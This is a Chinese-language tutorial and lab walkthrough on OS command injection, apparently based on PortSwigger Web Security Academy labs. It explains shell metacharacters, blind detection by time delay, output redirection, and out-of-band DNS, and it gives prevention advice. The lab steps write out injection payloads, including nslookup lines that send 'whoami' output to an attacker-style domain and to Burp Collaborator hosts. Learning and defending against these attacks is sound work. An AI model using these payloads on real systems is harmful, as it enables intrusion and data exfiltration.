目录
一、操作系统命令注入
1、意义
2、有用的命令
3、注入操作系统命令的方式
4、防止操作系统命令注入攻击
二、执行任意命令
1、示例:
实验1:操作系统命令注入(简单)
三、盲操作系统命令注入漏洞
1、简述
2、示例
3、使用时间延迟检测盲OS命令注入
实验2:具有时延的操作系统命令盲注入
4、通过重定向输出利用盲目操作系统命令注入
实验3:带有输出重定向的盲操作系统命令注入
5、利用带外(OAST)技术
实验4:具有带外交互的盲OS命令注入
实验5:具有带外数据泄漏的盲操作系统命令注入
一、操作系统命令注入
1、意义
1、简述:操作系统命令注入(也称为外壳注入)是一个Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令
2、危害:通常会完全危害应用程序及其所有数据,攻击者可以利用操作系统命令注入漏洞来危害托管基础架构的其他部分,利用信任关系将攻击转向组织内的其他系统。
2、有用的命令
识别操作系统命令注入漏洞后,执行一些初始命令以获取有关已受损系统的信息 一些在Linux和Windows平台上有用的命令的摘要: 命令的目的 Linux操作系统 Windows 当前用户的名称 whoami whoami 操作系统 uname -a ver 网络配置 ifconfig ipconfig /all 网络连接 netstat -an netstat -an 运行进程 ps -ef tasklist
3、注入操作系统命令的方式
1、简述:
各种外壳元字符可用于执行操作系统命令注入攻击,许多字符用作命令分隔符,允许将命令链接在一起
1、以下命令分隔符在基于Windows和基于Unix的系统上都有效: & && | || 2、以下命令分隔符仅适用于基于Unix的系统: ; 换行符(0x0a或\n) 3、在基于Unix的系统上,您还可以使用反勾号或美元字符在原始命令中执行插入命令的内联执行: ' 注入命令' $(插入命令)
————
2、分析观察
不同的shell元字符具有细微不同的行为,这些行为可能会影响它们在某些情况下是否有效,以及它们是否允许带内检索命令输出,还是只对盲目利用有用
有时,控制的输入出现在原始命令的引号内。在这种情况下,在使用合适的shell元字符插入新命令之前,需要终止加引号的上下文(使用"或')
4、防止操作系统命令注入攻击
防止操作系统命令注入漏洞的最有效方法是永远不要从应用层代码调用操作系统命令(在每种情况下,都有使用更安全的平台API实现所需功能的替代方法)
如果使用用户提供的输入调用OS命令是不可避免的,则必须执行强输入验证: 1、根据允许值的白名单进行验证。 2、验证输入是否为数字。 3、验证输入是否仅包含字母数字字符,而不包含其他语法或空白。 4、不要试图通过转义shell元字符来清理输入(非常容易出错,且容易被熟练的攻击者绕过)
二、执行任意命令
1、示例:
1、一个购物应用程序: 允许用户查看某个商品在特定商店中是否有库存 可通过以下URL: https://insecure-website.com/stockStatus?productID=381&storeID=29
2、需查询其他系统: 提供股票信息,应用程序必须查询各种遗留系统。该功能是通过调用shell命令并将产品和商店ID作为参数来实现,如 stockreport.pl 381 29(此命令输出指定项目的库存状态,并返回给用户) ------ 攻击者: 如果应用程序未实现针对操作系统命令注入的防御措施,攻击者可以提交以下输入来执行任意命令: & echo aiwefwlguh & 如果此输入在产品ID参数,则应用程序执行的命令为: stockreport.pl & echo aiwefwlguh & 29 将附加命令分隔符&放置在插入的命令之后,结合echo命令输出回显,这是测试某些类型的操作系统命令注入的有用方法,降低了阻止执行注入命令的可能性(&字符是shell命令分隔符,因此执行的是三个独立的命令) 返回给用户的输出为: Error - productID was not provided (stockreport.pl执行时未使用预期参数,返回错误提示) aiwefwlguh (执行注入的echo命令,并输出) 29: command not found (参数29作为命令执行,导致错误)
涉及实验:
实验1:操作系统命令注入(简单)
实验1:操作系统命令注入(简单)
part1:
使用Burp Suite拦截和修改检查库存水平的请求
part2:
发送到repeater
修改storeID参数(带入一个命令)
1|whoami
part3:
修改数据包,并关闭拦截
三、盲操作系统命令注入漏洞
1、简述
许多操作系统命令注入实例都是隐蔽漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲漏洞仍然可以被利用,但需要不同的技术
2、示例
一个网站允许用户提交有关该网站的反馈。用户输入他们的电子邮件地址和反馈信息,服务器端应用程序向站点管理员生成包含反馈的电子邮件
————
它将调用邮件程序,其中包含提交的详细信息,如:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
————
mail命令的输出(如果有的话)不会在应用程序的响应中返回,因此使用echo有效负载不会有效。在这种情况下,可以使用各种其他技术来检测和利用漏洞
3、使用时间延迟检测盲OS命令注入
1、可以使用将触发时间延迟的注入命令,从而根据应用程序响应所需的时间来确认命令是否已执行
————
2、ping命令是一种有效的方法,因为它允许您指定要发送的ICMP数据包的数量,从而指定命令运行所需的时间:
& ping -c 10 127.0.0.1 &
此命令将使应用程序ping其环回网络适配器10秒。
————
涉及实验:
实验2:具有时延的操作系统命令盲注入
实验2:具有时延的操作系统命令盲注入
part1:
填写反馈信息
使用Burp Suite拦截和修改提交反馈的请求
part2:
发送到repeater
修改email参数
email=x||ping+-c+10+127.0.0.1||
观察响应,时间基本上为10s,存在系统命令注入
part3:
修改数据包,并关闭拦截
等10s后刷新一下页面,就完成了
4、通过重定向输出利用盲目操作系统命令注入
1、可以将注入命令的输出重定向到Web根目录中的文件中,然后可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static提供静态资源,则可以提交以下输入:
& whoami > /var/www/static/whoami.txt & (学过Linux的应该都会这些命令)
2、解释:>字符发送来自whoami命令添加到指定文件(这里是输出到whoami.txt,没有就自动创建)。然后可以使用浏览器获取https://vulnerable-website.com/whoami.txt以检索文件,并查看插入命令的输出。
涉及实验:
实验3:带有输出重定向的盲操作系统命令注入
实验3:带有输出重定向的盲操作系统命令注入
part1:
填写反馈信息
使用Burp Suite拦截和修改提交反馈的请求
part2:
发送到repeater
修改email参数
email=||whoami>/var/www/images/output.txt||
在数据包中修改,并关闭拦截
part3:
通过filename参数文件包含,读取输出到output.txt文件的信息
filename=output.txt
第三个数据包(老演员了)
发送到repeater
在数据包中修改,并关闭拦截
5、利用带外(OAST)技术
1、简述:
可以使用一个注入命令,该命令将触发与您使用OAST技术控制的系统的带外网络交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视指定查找的发生,从而检测到命令已成功插入。
2、带外通道还提供了一种从注入命令中提取输出的简单方法:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这将导致对攻击者的域进行DNS查找,该域包含whoami命令:
wwwuser.kgji2ohoyw.web-attacker.com
2、涉及实验:
实验4:具有带外交互的盲OS命令注入实验5:具有带外数据泄漏的盲操作系统命令注入
实验4:具有带外交互的盲OS命令注入
part1:
填写反馈信息
使用Burp Suite拦截和修改提交反馈的请求
part2:
打开BP的Collaborator客户端
复制服务器URL(这个是我的BP的提供的服务器)
4injhpna543tc1766dwv1466ux0noc.burpcollaborator.net
part3:
发送到repeater
修改email参数,将其更改为:
email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN|| 我的是: email=x||nslookup+4injhpna543tc1766dwv1466ux0noc.burpcollaborator.net||
part4:
修改数据包,并关闭拦截
实验5:具有带外数据泄漏的盲操作系统命令注入
part1:
填写反馈信息
使用Burp Suite拦截和修改提交反馈的请求
part2:
打开BP的Collaborator客户端
复制服务器URL(这个是我的BP的提供的服务器)
fl45n2ug5x4nmill7s67s7u7jypodd.burpcollaborator.net
part3:
发送到repeater
修改email参数,将其更改为:
email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN|| 我的是: email=x||nslookup+`whoami`.fl45n2ug5x4nmill7s67s7u7jypodd.burpcollaborator.net||
part4:
修改数据包,并关闭拦截
part5:
完成实验
我的用户peter-WKvUPX